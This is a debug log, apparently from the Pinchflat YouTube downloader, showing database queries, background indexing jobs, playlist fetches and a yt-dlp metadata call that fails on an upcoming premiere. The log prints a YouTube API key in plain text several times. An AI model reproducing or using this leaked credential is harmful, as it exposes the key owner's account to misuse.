AS s0 WHERE (s0."id" = ?) [18] 17:47:15.121 [debug] QUERY OK source="sources" db=0.2ms idle=867.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:47:15.121 [debug] QUERY OK source="settings" db=0.1ms idle=862.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.121 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.121 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:15.121 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:15.121 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.121 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:47:15.121 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.122 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:47:15.122 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.122 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:15.122 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.122 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:15.282 [debug] QUERY OK source="media_items" db=0.6ms idle=159.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 17:47:15.283 [debug] QUERY OK source="media_items" db=0.7ms idle=160.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:47:15.284 [debug] QUERY OK source="tasks" db=0.1ms idle=162.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800293, 18, ~U[2026-02-10 23:47:15Z], ~U[2026-02-10 23:47:15Z]] 17:47:15.284 [info] {"args":{"id":18},"id":3800254,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":163799,"event":"job:stop","queue_time":415230,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:15.290 [info] {"args":{"id":3},"id":3800256,"meta":{},"system_time":1770767235290773127,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:15.291 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:47:15.291 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.291 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:15.291 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.291 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:47:15.292 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:15.292 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:15.478 [debug] QUERY OK source="media_items" db=0.7ms idle=186.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 17:47:15.479 [debug] QUERY OK source="media_items" db=0.3ms idle=187.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:47:15.480 [debug] QUERY OK source="tasks" db=0.1ms idle=188.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800294, 39, ~U[2026-02-10 23:47:15Z], ~U[2026-02-10 23:47:15Z]] 17:47:15.480 [info] {"args":{"id":39},"id":3800255,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":359530,"event":"job:stop","queue_time":291268,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:15.640 [debug] QUERY OK source="media_items" db=0.6ms idle=159.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 17:47:15.641 [debug] QUERY OK source="media_items" db=0.5ms idle=160.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:47:15.642 [debug] QUERY OK source="tasks" db=0.0ms idle=155.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800295, 3, ~U[2026-02-10 23:47:15Z], ~U[2026-02-10 23:47:15Z]] 17:47:15.642 [info] {"args":{"id":3},"id":3800256,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":351328,"event":"job:stop","queue_time":360194,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:21.126 [info] {"args":{"id":32},"id":3800257,"meta":{},"system_time":1770767241126701597,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:21.127 [debug] QUERY OK source="sources" db=0.1ms idle=248.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:47:21.127 [debug] QUERY OK source="settings" db=0.0ms idle=248.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.127 [debug] QUERY OK source="media_profiles" db=0.1ms idle=248.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:21.127 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.127 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:47:21.127 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.127 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:21.409 [debug] QUERY OK source="media_items" db=0.7ms idle=281.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "ed7V-kfgSGY", "b5oqQc9awuc", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", ...] 17:47:21.410 [debug] QUERY OK source="settings" db=0.1ms idle=282.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.410 [debug] QUERY OK source="settings" db=0.0ms idle=282.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.410 [debug] Running yt-dlp command for action: get_media_attributes 17:47:21.411 [debug] QUERY OK source="settings" db=0.1ms idle=283.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.411 [debug] QUERY OK source="settings" db=0.0ms idle=283.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.411 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:21.411 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e0/d8/e0d8c4183d91a8a18121df322068295daa9a17bd012782ce256ece6147b7857e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:22.846 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e0/d8/e0d8c4183d91a8a18121df322068295daa9a17bd012782ce256ece6147b7857e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b5oqQc9awuc: Premieres in 45 hours 17:47:22.846 [error] Error creating media item 